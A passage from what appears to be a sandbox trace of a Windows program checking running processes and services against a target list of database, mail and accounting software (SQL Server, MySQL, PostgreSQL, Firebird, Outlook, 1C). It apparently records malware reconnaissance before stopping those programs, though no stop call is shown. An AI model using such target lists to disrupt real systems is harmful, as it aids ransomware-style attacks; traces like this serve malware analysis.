lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0280.450] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0280.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0280.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0280.450] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0280.450] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0280.452] lstrlenW (lpString="msoia.exe") returned 9 [0280.452] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1 [0280.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1 [0280.452] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1 [0280.452] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1 [0280.452] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1 [0280.452] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1 [0280.452] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1 [0280.452] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.454] lstrlenW (lpString="explorer.exe") returned 12 [0280.454] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0280.454] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0280.454] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0280.454] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0280.454] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0280.454] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0280.454] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0280.454] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.455] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0280.455] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0280.455] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0280.455] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0280.455] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0280.456] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0280.456] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0280.456] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0280.456] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.457] lstrlenW (lpString="SearchUI.exe") returned 12 [0280.457] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0280.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0280.457] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0280.457] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0280.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0280.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0280.457] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0280.457] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0280.459] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0280.459] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0280.459] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0280.459] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0280.459] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0280.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0280.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0280.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0280.460] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.461] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0280.461] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0280.461] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0280.461] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0280.461] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0280.461] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0280.461] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0280.461] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0280.461] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0280.463] lstrlenW (lpString="chrome64b.exe") returned 13 [0280.463] lstrcmpiW (lpString1="1c8.exe", lpString2="chrome64b.exe") returned -1 [0280.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="chrome64b.exe") returned -1 [0280.463] lstrcmpiW (lpString1="outlook.exe", lpString2="chrome64b.exe") returned 1 [0280.463] lstrcmpiW (lpString1="postgres.exe", lpString2="chrome64b.exe") returned 1 [0280.706] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="chrome64b.exe") returned 1 [0280.706] lstrcmpiW (lpString1="mysqld.exe", lpString2="chrome64b.exe") returned 1 [0280.706] lstrcmpiW (lpString1="sqlservr.exe", lpString2="chrome64b.exe") returned 1 [0280.706] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0280.707] lstrlenW (lpString="consent.exe") returned 11 [0280.707] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0280.707] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0280.707] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0280.707] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0280.707] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0280.707] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0280.707] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0280.707] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0280.708] CloseHandle (hObject=0x41c) returned 1 [0280.708] Sleep (dwMilliseconds=0x1f4) [0281.375] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a068 [0281.376] EnumServicesStatusExW (in: hSCManager=0x69a068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0281.376] GetLastError () returned 0xea [0281.376] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45de478 [0281.377] EnumServicesStatusExW (in: hSCManager=0x69a068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45de478, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45de478, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0281.377] CloseServiceHandle (hSCObject=0x69a068) returned 1 [0281.378] lstrlenW (lpString="Appinfo") returned 7 [0281.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0281.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0281.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0281.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0281.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0281.378] lstrlenW (lpString="AppXSvc") returned 7 [0281.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0281.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0281.378] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0281.378] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0281.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0281.378] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0281.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.378] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0281.378] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0281.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0281.378] lstrlenW (lpString="Audiosrv") returned 8 [0281.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0281.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0281.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0281.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0281.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0281.379] lstrlenW (lpString="BFE") returned 3 [0281.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0281.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0281.379] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0281.379] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0281.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0281.379] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0281.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.379] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0281.379] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0281.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0281.379] lstrlenW (lpString="CDPSvc") returned 6 [0281.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0281.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0281.379] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0281.379] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0281.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0281.379] lstrlenW (lpString="ClickToRunSvc") returned 13 [0281.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.379] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0281.379] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0281.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0281.379] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0281.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.379] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0281.379] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0281.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0281.380] lstrlenW (lpString="CryptSvc") returned 8 [0281.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0281.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0281.380] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0281.380] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0281.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0281.380] lstrlenW (lpString="DcomLaunch") returned 10 [0281.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.380] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0281.380] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0281.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0281.380] lstrlenW (lpString="DeviceAssociationService") returned 24 [0281.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.380] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0281.380] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0281.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0281.380] lstrlenW (lpString="Dhcp") returned 4 [0281.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0281.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0281.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0281.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0281.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0281.380] lstrlenW (lpString="Dnscache") returned 8 [0281.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0281.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0281.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0281.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0281.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0281.381] lstrlenW (lpString="DPS") returned 3 [0281.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0281.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0281.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0281.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0281.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0281.381] lstrlenW (lpString="DusmSvc") returned 7 [0281.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0281.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0281.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0281.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0281.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0281.381] lstrlenW (lpString="EventLog") returned 8 [0281.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0281.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0281.381] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0281.381] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0281.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0281.381] lstrlenW (lpString="EventSystem") returned 11 [0281.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0281.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0281.381] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0281.381] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0281.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0281.382] lstrlenW (lpString="FontCache") returned 9 [0281.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0281.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0281.382] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0281.382] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0281.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0281.382] lstrlenW (lpString="gpsvc") returned 5 [0281.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0281.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0281.382] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0281.382] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0281.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0281.382] lstrlenW (lpString="iphlpsvc") returned 8 [0281.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.382] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0281.382] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0281.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0281.382] lstrlenW (lpString="KeyIso") returned 6 [0281.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0281.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0281.383] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0281.383] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0281.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0281.383] lstrlenW (lpString="LanmanServer") returned 12 [0281.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0281.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0281.383] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0281.383] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0281.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0281.383] lstrlenW (lpString="LanmanWorkstation") returned 17 [0281.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.383] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0281.383] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0281.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0281.383] lstrlenW (lpString="lfsvc") returned 5 [0281.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0281.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0281.383] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0281.383] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0281.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0281.383] lstrlenW (lpString="lmhosts") returned 7 [0281.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0281.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0281.383] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0281.383] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0281.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0281.384] lstrlenW (lpString="LSM") returned 3 [0281.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0281.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0281.384] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0281.384] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0281.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0281.384] lstrlenW (lpString="MpsSvc") returned 6 [0281.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0281.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0281.906] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0281.907] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0281.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0281.907] lstrlenW (lpString="NcbService") returned 10 [0281.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0281.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0281.907] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0281.907] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0281.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0281.907] lstrlenW (lpString="netprofm") returned 8 [0281.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0281.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0281.907] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0281.907] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0281.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0281.907] lstrlenW (lpString="NgcSvc") returned 6 [0281.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0281.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0281.907] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0281.907] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0281.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0281.908] lstrlenW (lpString="NlaSvc") returned 6 [0281.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0281.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0281.908] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0281.908] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0281.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0281.908] lstrlenW (lpString="nsi") returned 3 [0281.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0281.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0281.908] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0281.908] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0281.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0281.908] lstrlenW (lpString="PcaSvc") returned 6 [0281.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0281.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0281.908] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0281.908] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0281.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0281.908] lstrlenW (lpString="PlugPlay") returned 8 [0281.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0281.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0281.909] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0281.909] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0281.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0281.909] lstrlenW (lpString="Power") returned 5 [0281.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0281.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0281.909] 